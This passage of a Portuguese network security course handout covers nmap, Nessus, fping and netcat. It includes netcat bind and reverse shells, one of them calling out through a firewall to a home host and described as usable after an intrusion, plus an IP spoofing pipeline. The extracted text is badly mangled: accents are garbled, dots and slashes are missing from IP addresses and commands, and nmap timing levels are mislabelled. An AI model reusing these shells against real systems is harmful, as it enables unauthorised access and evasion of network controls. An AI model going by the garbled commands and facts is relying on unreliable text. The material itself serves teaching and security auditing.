sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 2: Curso de segurança em linux e redes em geral

